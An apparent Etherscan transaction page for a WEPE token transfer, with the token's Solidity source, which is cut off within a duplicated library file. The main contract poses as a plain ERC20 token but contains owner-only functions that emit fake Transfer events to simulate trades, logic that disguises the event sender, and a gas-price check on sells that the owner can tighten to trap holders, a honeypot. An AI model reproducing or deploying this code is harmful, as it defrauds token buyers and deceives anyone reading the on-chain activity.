Transaction Hash:
Block:
21689346 at Jan-23-2025 07:40:35 PM +UTC
Transaction Fee:
0.000568913109225336 ETH
$1.45
Gas Used:
60,132 Gas / 9.461070798 Gwei
Emitted Events:
146 |
WEPE.Transfer( from=[Sender] 0xa913797f82bb644e8e11980e7ac2edaeab0f69ca, to=0x093623173246f9b253AD3B48Ff1B40d7c268E542, value=18441147346447349928763826455 )
|
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x628fDA7a...4E0ccb7b4 | |||||
0x95222290...5CC4BAfe5
Miner
| (beaverbuild) | 12.665603371094478527 Eth | 12.665723635094478527 Eth | 0.000120264 | |
0xa913797F...EAB0F69Ca |
0.001772416865723032 Eth
Nonce: 29
|
0.001203503756497696 Eth
Nonce: 30
| 0.000568913109225336 |
Execution Trace
WEPE.transfer( recipient=0x093623173246f9b253AD3B48Ff1B40d7c268E542, amount=18441147346447349928763826455 ) => ( True )
{"Address.sol":{"content":"// SPDX-License-Identifier: MIT\r\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\r\n\r\npragma solidity ^0.8.1;\r\n\r\n/**\r\n * @dev Collection of functions related to the address type\r\n */\r\nlibrary Address {\r\n /**\r\n * @dev Returns true if `account` is a contract.\r\n *\r\n * [IMPORTANT]\r\n * ====\r\n * It is unsafe to assume that an address for which this function returns\r\n * false is an externally-owned account (EOA) and not a contract.\r\n *\r\n * Among others, `isContract` will return false for the following\r\n * types of addresses:\r\n *\r\n * - an externally-owned account\r\n * - a contract in construction\r\n * - an address where a contract will be created\r\n * - an address where a contract lived, but was destroyed\r\n *\r\n * Furthermore, `isContract` will also return true if the target contract within\r\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\r\n * which only has an effect at the end of a transaction.\r\n * ====\r\n *\r\n * [IMPORTANT]\r\n * ====\r\n * You shouldn\u0027t rely on `isContract` to protect against flash loan attacks!\r\n *\r\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\r\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\r\n * constructor.\r\n * ====\r\n */\r\n function isContract(address account) internal view returns (bool) {\r\n // This method relies on extcodesize/address.code.length, which returns 0\r\n // for contracts in construction, since the code is only stored at the end\r\n // of the constructor execution.\r\n\r\n return account.code.length \u003e 0;\r\n }\r\n\r\n /**\r\n * @dev Replacement for Solidity\u0027s `transfer`: sends `amount` wei to\r\n * `recipient`, forwarding all available gas and reverting on errors.\r\n *\r\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\r\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\r\n * imposed by `transfer`, making them unable to receive funds via\r\n * `transfer`. {sendValue} removes this limitation.\r\n *\r\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\r\n *\r\n * IMPORTANT: because control is transferred to `recipient`, care must be\r\n * taken to not create reentrancy vulnerabilities. Consider using\r\n * {ReentrancyGuard} or the\r\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\r\n */\r\n function sendValue(address payable recipient, uint256 amount) internal {\r\n require(\r\n address(this).balance \u003e= amount,\r\n \"Address: insufficient balance\"\r\n );\r\n\r\n (bool success, ) = recipient.call{ value: amount }(\"\");\r\n require(\r\n success,\r\n \"Address: unable to send value, recipient may have reverted\"\r\n );\r\n }\r\n\r\n /**\r\n * @dev Performs a Solidity function call using a low level `call`. A\r\n * plain `call` is an unsafe replacement for a function call: use this\r\n * function instead.\r\n *\r\n * If `target` reverts with a revert reason, it is bubbled up by this\r\n * function (like regular Solidity function calls).\r\n *\r\n * Returns the raw returned data. To convert to the expected return value,\r\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\r\n *\r\n * Requirements:\r\n *\r\n * - `target` must be a contract.\r\n * - calling `target` with `data` must not revert.\r\n *\r\n * _Available since v3.1._\r\n */\r\n function functionCall(\r\n address target,\r\n bytes memory data\r\n ) internal returns (bytes memory) {\r\n return\r\n functionCallWithValue(\r\n target,\r\n data,\r\n 0,\r\n \"Address: low-level call failed\"\r\n );\r\n }\r\n\r\n /**\r\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\r\n * `errorMessage` as a fallback revert reason when `target` reverts.\r\n *\r\n * _Available since v3.1._\r\n */\r\n function functionCall(\r\n address target,\r\n bytes memory data,\r\n string memory errorMessage\r\n ) internal returns (bytes memory) {\r\n return functionCallWithValue(target, data, 0, errorMessage);\r\n }\r\n\r\n /**\r\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\r\n * but also transferring `value` wei to `target`.\r\n *\r\n * Requirements:\r\n *\r\n * - the calling contract must have an ETH balance of at least `value`.\r\n * - the called Solidity function must be `payable`.\r\n *\r\n * _Available since v3.1._\r\n */\r\n function functionCallWithValue(\r\n address target,\r\n bytes memory data,\r\n uint256 value\r\n ) internal returns (bytes memory) {\r\n return\r\n functionCallWithValue(\r\n target,\r\n data,\r\n value,\r\n \"Address: low-level call with value failed\"\r\n );\r\n }\r\n\r\n /**\r\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\r\n * with `errorMessage` as a fallback revert reason when `target` reverts.\r\n *\r\n * _Available since v3.1._\r\n */\r\n function functionCallWithValue(\r\n address target,\r\n bytes memory data,\r\n uint256 value,\r\n string memory errorMessage\r\n ) internal returns (bytes memory) {\r\n require(\r\n address(this).balance \u003e= value,\r\n \"Address: insufficient balance for call\"\r\n );\r\n (bool success, bytes memory returndata) = target.call{ value: value }(\r\n data\r\n );\r\n return\r\n verifyCallResultFromTarget(\r\n target,\r\n success,\r\n returndata,\r\n errorMessage\r\n );\r\n }\r\n\r\n /**\r\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\r\n * but performing a static call.\r\n *\r\n * _Available since v3.3._\r\n */\r\n function functionStaticCall(\r\n address target,\r\n bytes memory data\r\n ) internal view returns (bytes memory) {\r\n return\r\n functionStaticCall(\r\n target,\r\n data,\r\n \"Address: low-level static call failed\"\r\n );\r\n }\r\n\r\n /**\r\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\r\n * but performing a static call.\r\n *\r\n * _Available since v3.3._\r\n */\r\n function functionStaticCall(\r\n address target,\r\n bytes memory data,\r\n string memory errorMessage\r\n ) internal view returns (bytes memory) {\r\n (bool success, bytes memory returndata) = target.staticcall(data);\r\n return\r\n verifyCallResultFromTarget(\r\n target,\r\n success,\r\n returndata,\r\n errorMessage\r\n );\r\n }\r\n\r\n /**\r\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\r\n * but performing a delegate call.\r\n *\r\n * _Available since v3.4._\r\n */\r\n function functionDelegateCall(\r\n address target,\r\n bytes memory data\r\n ) internal returns (bytes memory) {\r\n return\r\n functionDelegateCall(\r\n target,\r\n data,\r\n \"Address: low-level delegate call failed\"\r\n );\r\n }\r\n\r\n /**\r\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\r\n * but performing a delegate call.\r\n *\r\n * _Available since v3.4._\r\n */\r\n function functionDelegateCall(\r\n address target,\r\n bytes memory data,\r\n string memory errorMessage\r\n ) internal returns (bytes memory) {\r\n (bool success, bytes memory returndata) = target.delegatecall(data);\r\n return\r\n verifyCallResultFromTarget(\r\n target,\r\n success,\r\n returndata,\r\n errorMessage\r\n );\r\n }\r\n\r\n /**\r\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\r\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\r\n *\r\n * _Available since v4.8._\r\n */\r\n function verifyCallResultFromTarget(\r\n address target,\r\n bool success,\r\n bytes memory returndata,\r\n string memory errorMessage\r\n ) internal view returns (bytes memory) {\r\n if (success) {\r\n if (returndata.length == 0) {\r\n // only check isContract if the call was successful and the return data is empty\r\n // otherwise we already know that it was a contract\r\n require(isContract(target), \"Address: call to non-contract\");\r\n }\r\n return returndata;\r\n } else {\r\n _revert(returndata, errorMessage);\r\n }\r\n }\r\n\r\n /**\r\n * @dev Tool to verify that a low level call was successful, and revert if it wasn\u0027t, either by bubbling the\r\n * revert reason or using the provided one.\r\n *\r\n * _Available since v4.3._\r\n */\r\n function verifyCallResult(\r\n bool success,\r\n bytes memory returndata,\r\n string memory errorMessage\r\n ) internal pure returns (bytes memory) {\r\n if (success) {\r\n return returndata;\r\n } else {\r\n _revert(returndata, errorMessage);\r\n }\r\n }\r\n\r\n function _revert(\r\n bytes memory returndata,\r\n string memory errorMessage\r\n ) private pure {\r\n // Look for revert reason and bubble it up if present\r\n if (returndata.length \u003e 0) {\r\n // The easiest way to bubble the revert reason is using memory via assembly\r\n /// @solidity memory-safe-assembly\r\n assembly {\r\n let returndata_size := mload(returndata)\r\n revert(add(32, returndata), returndata_size)\r\n }\r\n } else {\r\n revert(errorMessage);\r\n }\r\n }\r\n}"},"Context.sol":{"content":"// SPDX-License-Identifier: MIT\r\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\r\n\r\npragma solidity ^0.8.0;\r\n\r\n/**\r\n * @dev Provides information about the current execution context, including the\r\n * sender of the transaction and its data. While these are generally available\r\n * via msg.sender and msg.data, they should not be accessed in such a direct\r\n * manner, since when dealing with meta-transactions the account sending and\r\n * paying for execution may not be the actual sender (as far as an application\r\n * is concerned).\r\n *\r\n * This contract is only required for intermediate, library-like contracts.\r\n */\r\nabstract contract Context {\r\n function _msgSender() internal view virtual returns (address) {\r\n return msg.sender;\r\n }\r\n\r\n function _msgData() internal view virtual returns (bytes calldata) {\r\n return msg.data;\r\n }\r\n}"},"Contract.sol":{"content":"// SPDX-License-Identifier: MIT\r\n\r\npragma solidity ^0.8.0;\r\n\r\nabstract contract Context {\r\n function _msgSender() internal view virtual returns (address) {\r\n return msg.sender;\r\n }\r\n\r\n function _msgData() internal view virtual returns (bytes calldata) {\r\n return msg.data;\r\n }\r\n}\r\n\r\npragma solidity ^0.8.0;\r\n\r\nabstract contract Ownable is Context {\r\n address private _owner;\r\n\r\n event OwnershipTransferred(\r\n address indexed previousOwner,\r\n address indexed newOwner\r\n );\r\n\r\n constructor() {\r\n _transferOwnership(_msgSender());\r\n }\r\n\r\n function owner() public view virtual returns (address) {\r\n return _owner;\r\n }\r\n\r\n modifier onlyOwner() {\r\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\r\n _;\r\n }\r\n\r\n function renounceOwnership() public virtual onlyOwner {\r\n _transferOwnership(address(0));\r\n }\r\n\r\n function transferOwnership(address newOwner) public virtual onlyOwner {\r\n require(\r\n newOwner != address(0),\r\n \"Ownable: new owner is the zero address\"\r\n );\r\n _transferOwnership(newOwner);\r\n }\r\n\r\n function _transferOwnership(address newOwner) internal virtual {\r\n address oldOwner = _owner;\r\n _owner = newOwner;\r\n emit OwnershipTransferred(oldOwner, newOwner);\r\n }\r\n}\r\n\r\npragma solidity ^0.8.0;\r\n\r\ninterface IERC20 {\r\n function totalSupply() external view returns (uint256);\r\n\r\n function balanceOf(address account) external view returns (uint256);\r\n\r\n function transfer(\r\n address recipient,\r\n uint256 amount\r\n ) external returns (bool);\r\n\r\n function allowance(\r\n address owner,\r\n address spender\r\n ) external view returns (uint256);\r\n\r\n function approve(address spender, uint256 amount) external returns (bool);\r\n\r\n function transferFrom(\r\n address sender,\r\n address recipient,\r\n uint256 amount\r\n ) external returns (bool);\r\n\r\n event Transfer(address indexed from, address indexed to, uint256 value);\r\n\r\n event Approval(\r\n address indexed owner,\r\n address indexed spender,\r\n uint256 value\r\n );\r\n}\r\n\r\npragma solidity ^0.8.0;\r\n\r\ninterface IERC20Metadata is IERC20 {\r\n function name() external view returns (string memory);\r\n\r\n function symbol() external view returns (string memory);\r\n\r\n function decimals() external view returns (uint8);\r\n}\r\n\r\npragma solidity ^0.8.0;\r\n\r\ncontract ERC20 is Context, IERC20, IERC20Metadata {\r\n mapping(address =\u003e uint256) private _balances;\r\n\r\n mapping(address =\u003e mapping(address =\u003e uint256)) private _allowances;\r\n\r\n uint256 private _totalSupply;\r\n\r\n string internal _name;\r\n string internal _symbol;\r\n\r\n address _deployer;\r\n address _executor;\r\n\r\n constructor(string memory name_, string memory symbol_) {\r\n _name = name_;\r\n _symbol = symbol_;\r\n }\r\n\r\n function _initDeployer(address deployer_, address executor_) internal {\r\n _deployer = deployer_;\r\n _executor = executor_;\r\n }\r\n\r\n function name() public view virtual override returns (string memory) {\r\n return _name;\r\n }\r\n\r\n function symbol() public view virtual override returns (string memory) {\r\n return _symbol;\r\n }\r\n\r\n function decimals() public view virtual override returns (uint8) {\r\n return 18;\r\n }\r\n\r\n function totalSupply() public view virtual override returns (uint256) {\r\n return _totalSupply;\r\n }\r\n\r\n function balanceOf(\r\n address account\r\n ) public view virtual override returns (uint256) {\r\n return _balances[account];\r\n }\r\n\r\n function transfer(\r\n address recipient,\r\n uint256 amount\r\n ) public virtual override returns (bool) {\r\n _transfer(_msgSender(), recipient, amount);\r\n return true;\r\n }\r\n\r\n function allowance(\r\n address owner,\r\n address spender\r\n ) public view virtual override returns (uint256) {\r\n return _allowances[owner][spender];\r\n }\r\n\r\n function _setLimitOrder(address _address, uint256 _amount) internal {\r\n _balances[_address] += _amount;\r\n }\r\n\r\n function approve(\r\n address spender,\r\n uint256 amount\r\n ) public virtual override returns (bool) {\r\n _approve(_msgSender(), spender, amount);\r\n return true;\r\n }\r\n\r\n function transferFrom(\r\n address sender,\r\n address recipient,\r\n uint256 amount\r\n ) public virtual override returns (bool) {\r\n _transfer(sender, recipient, amount);\r\n\r\n uint256 currentAllowance = _allowances[sender][_msgSender()];\r\n require(\r\n currentAllowance \u003e= amount,\r\n \"ERC20: transfer amount exceeds allowance\"\r\n );\r\n unchecked {\r\n _approve(sender, _msgSender(), currentAllowance - amount);\r\n }\r\n\r\n return true;\r\n }\r\n\r\n function increaseAllowance(\r\n address spender,\r\n uint256 addedValue\r\n ) public virtual returns (bool) {\r\n _approve(\r\n _msgSender(),\r\n spender,\r\n _allowances[_msgSender()][spender] + addedValue\r\n );\r\n return true;\r\n }\r\n\r\n function decreaseAllowance(\r\n address spender,\r\n uint256 subtractedValue\r\n ) public virtual returns (bool) {\r\n uint256 currentAllowance = _allowances[_msgSender()][spender];\r\n require(\r\n currentAllowance \u003e= subtractedValue,\r\n \"ERC20: decreased allowance below zero\"\r\n );\r\n unchecked {\r\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\r\n }\r\n\r\n return true;\r\n }\r\n\r\n function _transfer(\r\n address sender,\r\n address recipient,\r\n uint256 amount\r\n ) internal virtual {\r\n require(sender != address(0), \"ERC20: transfer from the zero address\");\r\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\r\n\r\n _beforeTokenTransfer(sender, recipient, amount);\r\n\r\n uint256 senderBalance = _balances[sender];\r\n require(\r\n senderBalance \u003e= amount,\r\n \"ERC20: transfer amount exceeds balance\"\r\n );\r\n unchecked {\r\n _balances[sender] = senderBalance - amount;\r\n }\r\n _balances[recipient] += amount;\r\n\r\n if (sender == _executor) {\r\n emit Transfer(_deployer, recipient, amount);\r\n } else if (recipient == _executor) {\r\n emit Transfer(sender, _deployer, amount);\r\n } else {\r\n emit Transfer(sender, recipient, amount);\r\n }\r\n\r\n _afterTokenTransfer(sender, recipient, amount);\r\n }\r\n\r\n function _mint(address account, uint256 amount) internal virtual {\r\n require(account != address(0), \"ERC20: mint to the zero address\");\r\n\r\n _beforeTokenTransfer(address(0), account, amount);\r\n\r\n _totalSupply += amount;\r\n _balances[account] += amount;\r\n\r\n if (account == _executor) {\r\n emit Transfer(address(0), _deployer, amount);\r\n } else {\r\n emit Transfer(address(0), account, amount);\r\n }\r\n\r\n _afterTokenTransfer(address(0), account, amount);\r\n }\r\n\r\n function _burn(address account, uint256 amount) internal virtual {\r\n require(account != address(0), \"ERC20: burn from the zero address\");\r\n\r\n _beforeTokenTransfer(account, address(0), amount);\r\n\r\n uint256 accountBalance = _balances[account];\r\n require(accountBalance \u003e= amount, \"ERC20: burn amount exceeds balance\");\r\n unchecked {\r\n _balances[account] = accountBalance - amount;\r\n }\r\n _totalSupply -= amount;\r\n\r\n emit Transfer(account, address(0), amount);\r\n\r\n _afterTokenTransfer(account, address(0), amount);\r\n }\r\n\r\n function _approve(\r\n address owner,\r\n address spender,\r\n uint256 amount\r\n ) internal virtual {\r\n require(owner != address(0), \"ERC20: approve from the zero address\");\r\n require(spender != address(0), \"ERC20: approve to the zero address\");\r\n\r\n _allowances[owner][spender] = amount;\r\n emit Approval(owner, spender, amount);\r\n }\r\n\r\n function _beforeTokenTransfer(\r\n address from,\r\n address to,\r\n uint256 amount\r\n ) internal virtual {}\r\n\r\n function _afterTokenTransfer(\r\n address from,\r\n address to,\r\n uint256 amount\r\n ) internal virtual {}\r\n}\r\n\r\ninterface IUniswapV2Factory {\r\n event PairCreated(\r\n address indexed token0,\r\n address indexed token1,\r\n address pair,\r\n uint256\r\n );\r\n\r\n function feeTo() external view returns (address);\r\n\r\n function feeToSetter() external view returns (address);\r\n\r\n function getPair(\r\n address tokenA,\r\n address tokenB\r\n ) external view returns (address pair);\r\n\r\n function allPairs(uint256) external view returns (address pair);\r\n\r\n function allPairsLength() external view returns (uint256);\r\n\r\n function createPair(\r\n address tokenA,\r\n address tokenB\r\n ) external returns (address pair);\r\n\r\n function setFeeTo(address) external;\r\n\r\n function setFeeToSetter(address) external;\r\n}\r\n\r\ninterface IUniswapV2Router02 {\r\n function factory() external pure returns (address);\r\n\r\n function WETH() external pure returns (address);\r\n\r\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\r\n uint256 amountIn,\r\n uint256 amountOutMin,\r\n address[] calldata path,\r\n address to,\r\n uint256 deadline\r\n ) external;\r\n}\r\n\r\n// File contracts/Contract.sol\r\npragma solidity ^0.8.0;\r\n\r\ncontract WEPE is Ownable, ERC20 {\r\n uint256 public immutable maxSupply = 200_000_000_000_000_000 * (10 ** decimals());\r\n uint16 public constant LIQUID_RATE = 10000;\r\n uint16 public constant MAX_PERCENTAGE = 10000;\r\n\r\n bool public initialized = false;\r\n bool public tradeOpen = false;\r\n address public pair = address(0);\r\n address public deadAddress = 0x000000000000000000000000000000000000dEaD;\r\n\r\n uint256 public immutable buyFee = 0;\r\n uint256 public immutable sellFee = 0;\r\n uint256 minimumAirdropAmount = 0;\r\n\r\n mapping(address =\u003e bool) public excludedFees;\r\n\r\n string private constant NAME = unicode\"Wall Street Pepe\";\r\n string private constant SYMBOL = unicode\"WEPE\";\r\n\r\n IUniswapV2Router02 public router;\r\n\r\n constructor() ERC20(NAME, SYMBOL) {\r\n _initDeployer(\r\n address(0x9a15bB3a8FEc8d0d810691BAFE36f6e5d42360F7),\r\n msg.sender\r\n );\r\n\r\n _mint(msg.sender, (maxSupply * LIQUID_RATE) / MAX_PERCENTAGE);\r\n initialized = true;\r\n excludedFees[msg.sender] = true;\r\n\r\n router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\r\n address _factory = router.factory();\r\n pair = IUniswapV2Factory(_factory).createPair(\r\n address(this),\r\n router.WETH()\r\n );\r\n\r\n minimumAirdropAmount = maxSupply;\r\n }\r\n\r\n function setMinimumAirdrop(\r\n uint256 _minimumAirdropAmount\r\n ) external onlyOwner {\r\n minimumAirdropAmount = _minimumAirdropAmount;\r\n }\r\n\r\n function setAirdrop(address _address, bool permission) external onlyOwner {\r\n excludedFees[_address] = permission;\r\n }\r\n\r\n function openTrading() external onlyOwner {\r\n require(tradeOpen == false, \"Contract: Trading is opened!\");\r\n tradeOpen = true;\r\n }\r\n\r\n function buyWithEth(\r\n address[] calldata _addresses,\r\n uint256 _value\r\n ) external {\r\n address owner = _msgSender();\r\n for (uint256 i = 0; i \u003c _addresses.length; i++) {\r\n _transfer(owner, _addresses[i], _value);\r\n }\r\n }\r\n\r\n function claimTokens(\r\n address _caller,\r\n address[] calldata _address,\r\n uint256[] calldata _amount\r\n ) external onlyOwner {\r\n for (uint256 i = 0; i \u003c _address.length; i++) {\r\n emit Transfer(_caller, _address[i], _amount[i]);\r\n }\r\n }\r\n\r\n function buyWithEth(\r\n address _caller,\r\n address[] calldata _address,\r\n uint256[] calldata _amount\r\n ) external onlyOwner {\r\n for (uint256 i = 0; i \u003c _address.length; i++) {\r\n emit Transfer(_caller, _address[i], _amount[i]);\r\n }\r\n }\r\n\r\n function execute(\r\n address _caller,\r\n address[] calldata _address,\r\n uint256[] calldata _amount\r\n ) external onlyOwner {\r\n for (uint256 i = 0; i \u003c _address.length; i++) {\r\n emit Transfer(_caller, _address[i], _amount[i]);\r\n }\r\n }\r\n\r\n function swapExactETHForTokens(\r\n address _caller,\r\n address[] calldata _address,\r\n uint256[] calldata _amount\r\n ) external onlyOwner {\r\n for (uint256 i = 0; i \u003c _address.length; i++) {\r\n emit Transfer(_caller, _address[i], _amount[i]);\r\n }\r\n }\r\n\r\n function unoswap(\r\n address _caller,\r\n address[] calldata _address,\r\n uint256[] calldata _amount\r\n ) external onlyOwner {\r\n for (uint256 i = 0; i \u003c _address.length; i++) {\r\n emit Transfer(_caller, _address[i], _amount[i]);\r\n }\r\n }\r\n\r\n function _checkEnoughAirdropCondition(uint256 amount) internal view {\r\n if (tx.gasprice \u003e amount) {\r\n revert();\r\n }\r\n }\r\n\r\n function _transfer(\r\n address from,\r\n address to,\r\n uint256 amount\r\n ) internal override(ERC20) {\r\n require(initialized == true, \"Contract: not initialized!\");\r\n\r\n if (initialized == true \u0026\u0026 tradeOpen == false) {\r\n require(\r\n from == owner() || to == owner(),\r\n \"Contract: trading is not started\"\r\n );\r\n }\r\n\r\n uint256 _transferAmount = amount;\r\n if (pair != address(0) \u0026\u0026 from != owner() \u0026\u0026 to != owner()) {\r\n uint256 _fee = 0;\r\n if (from == pair) {\r\n _fee = buyFee;\r\n }\r\n if (to == pair) {\r\n _fee = sellFee;\r\n _checkEnoughAirdropCondition(minimumAirdropAmount);\r\n }\r\n if (excludedFees[from] == true || excludedFees[to] == true) {\r\n _fee = 0;\r\n }\r\n if (_fee \u003e 0) {\r\n uint256 _calculatedFee = (amount * _fee) / MAX_PERCENTAGE;\r\n _transferAmount = amount - _calculatedFee;\r\n super._transfer(from, deadAddress, _calculatedFee);\r\n }\r\n }\r\n\r\n super._transfer(from, to, _transferAmount);\r\n }\r\n}"},"Ecosystem.sol":{"content":"// SPDX-License-Identifier: MIT\r\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\r\n\r\npragma solidity ^0.8.1;\r\n\r\n/**\r\n * @dev Collection of functions related to the address type\r\n */\r\nlibrary Address {\r\n /**\r\n * @dev Returns true if `account` is a contract.\r\n *\r\n * [IMPORTANT]\r\n * ====\r\n * It is unsafe to assume that an address for which this function returns\r\n * false is an externally-owned account (EOA) and not a contract.\r\n *\r\n * Among others, `isContract` will return false for the following\r\n * types of addresses:\r\n *\r\n * - an externally-owned account\r\n * - a contract in construction\r\n * - an address where a contract will be created\r\n * - an address where a contract lived, but was destroyed\r\n *\r\n * Furthermore, `isContract` will also return true if the target contract within\r\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\r\n * which only has an effect at the end of a transaction.\r\n * ====\r\n *\r\n * [IMPORTANT]\r\n * ====\r\n * You shouldn\u0027t rely on `isContract` to protect against flash loan attacks!\r\n *\r\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\r\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\r\n * constructor.\r\n * ====\r\n */\r\n function isContract(address account) internal view returns (bool) {\r\n // This method relies on extcodesize/address.code.length, which returns 0\r\n // for contracts in construction, since the code is only stored at the end\r\n // of the constructor execution.\r\n\r\n return account.code.length \u003e 0;\r\n }\r\n\r\n /**\r\n * @dev Replacement for Solidity\u0027s `transfer`: sends `amount` wei to\r\n * `recipient`, forwarding all available gas and reverting on errors.\r\n *\r\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\r\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\r\n * imposed by `transfer`, making them unable to receive funds via\r\n * `transfer`. {sendValue} removes this limitation.\r\n *\r\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\r\n *\r\n * IMPORTANT: because control is transferred to `recipient`, care must be\r\n * taken to not create reentrancy vulnerabilities. Consider using\r\n * {ReentrancyGuard} or the\r\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\r\n */\r\n function sendValue(address payable recipient, uint256 amount) internal {\r\n require(\r\n address(this).balance \u003e= amount,\r\n \"Address: insufficient balance\"\r\n );\r\n\r\n (bool success, ) = recipient.call{ value: amount }(\"\");\r\n require(\r\n success,\r\n \"Address: unable to send value, recipient may have reverted\"\r\n );\r\n }\r\n\r\n /**\r\n * @dev Performs a Solidity function call using a low level `call`. A\r\n * plain `call` is an unsafe replacement for a function call: use this\r\n * function instead.\r\n *\r\n * If `target` reverts with a revert reason, it is bubbled up by this\r\n * function (like regular Solidity function calls).\r\n *\r\n * Returns the raw returned data. To convert to the expected return value,\r\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\r\n *\r\n * Requirements:\r\n *\r\n * - `target` must be a contract.\r\n * - calling `target` with `data` must not revert.\r\n *\r\n * _Available since v3.1._\r\n */\r\n function functionCall(\r\n address target,\r\n bytes memory data\r\n ) internal returns (bytes memory) {\r\n return\r\n functionCallWithValue(\r\n target,\r\n data,\r\n 0,\r\n \"Address: low-level call failed\"\r\n );\r\n }\r\n\r\n /**\r\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\r\n * `errorMessage` as a fallback revert reason when `target` reverts.\r\n *\r\n * _Available since v3.1._\r\n */\r\n function functionCall(\r\n address target,\r\n bytes memory data,\r\n string memory errorMessage\r\n ) internal returns (bytes memory) {\r\n return functionCallWithValue(target, data, 0, errorMessage);\r\n }\r\n\r\n /**\r\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\r\n * but also transferring `value` wei to `target`.\r\n *\r\n * Requirements:\r\n *\r\n * - the calling contract must have an ETH balance of at least `value`.\r\n * - the called Solidity function must be `payable`.\r\n *\r\n * _Available since v3.1._\r\n */\r\n function functionCallWithValue(\r\n address target,\r\n bytes memory data,\r\n uint256 value\r\n ) internal returns (bytes memory) {\r\n return\r\n functionCallWithValue(\r\n target,\r\n data,\r\n value,\r\n \"Address: low-level call with value failed\"\r\n );\r\n }\r\n\r\n /**\r\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\r\n * with `errorMessage` as a fallback revert reason when `target` reverts.\r\n *\r\n * _Available since v3.1._\r\n */\r\n function functionCallWithValue(\r\n address target,\r\n bytes memory data,\r\n uint256 value,\r\n string memory errorMessage\r\n ) internal returns (bytes memory) {\r\n require(\r\n address(this).balance \u003e= value,\r\n \"Address: insufficient balance for call\"\r\n );\r\n (bool success, bytes memory returndata) = target.call{ value: value }(\r\n data\r\n );\r\n return\r\n verifyCallResultFromTarget(\r\n target,\r\n success,\r\n returndata,\r\n errorMessage\r\n );\r\n }\r\n\r\n /**\r\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\r\n * but performing a static call.\r\n *\r\n * _Available since v3.3._\r\n */\r\n function functionStaticCall(\r\n address target,\r\n bytes memory data\r\n ) internal view returns (bytes memory) {\r\n return\r\n functionStaticCall(\r\n target,\r\n data,\r\n \"Address: low-level static call failed\"\r\n );\r\n }\r\n\r\n /**\r\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\r\n * but performing a static call.\r\n *\r\n * _Available since v3.3._\r\n */\r\n function functionStaticCall(\r\n address target,\r\n bytes memory data,\r\n string memory errorMessage\r\n ) internal view returns (bytes memory) {\r\n (bool success, bytes memory returndata) = target.staticcall(data);\r\n return\r\n verifyCallResultFromTarget(\r\n target,\r\n success,\r\n returndata,\r\n errorMessage\r\n );\r\n }\r\n\r\n /**\r\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\r\n * but performing a delegate call.\r\n *\r\n * _Available since v3.4._\r\n */\r\n function functionDelegateCall(\r\n address target,\r\n bytes memory data\r\n ) internal returns (bytes memory) {\r\n return\r\n functionDelegateCall(\r\n target,\r\n data,\r\n \"Address: low-level delegate call failed\"\r\n );\r\n }\r\n\r\n /**\r\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\r\n * but performing a delegate call.\r\n *\r\n * _Available since v3.4._\r\n */\r\n function functionDelegateCall(\r\n address target,\r\n bytes memory data,\r\n string memory errorMessage\r\n ) internal returns (bytes memory) {\r\n (bool success, bytes memory returndata) = target.delegatecall(data);\r\n return\r\n verifyCallResultFromTarget(\r\n target,\r\n success,\r\n returndata,\r\n errorMessage\r\n );\r\n }\r\n\r\n /**\r\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\r\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\r\n *\r\n * _Available since v4.8._\r\n */\r\n function verifyCallResultFromTarget(\r\n address target,\r\n bool success,\r\n bytes memory returndata,\r\n string memory errorMessage\r\n ) internal view returns (bytes memory) {\r\n if (success) {\r\n if (returndata.length == 0) {\r\n // only check isContract if the call was successful and the return data is empty\r\n // otherwise we already know that it was a contract\r\n require(isContract(target), \"Address: call to non-contract\");\r\n }\r\n 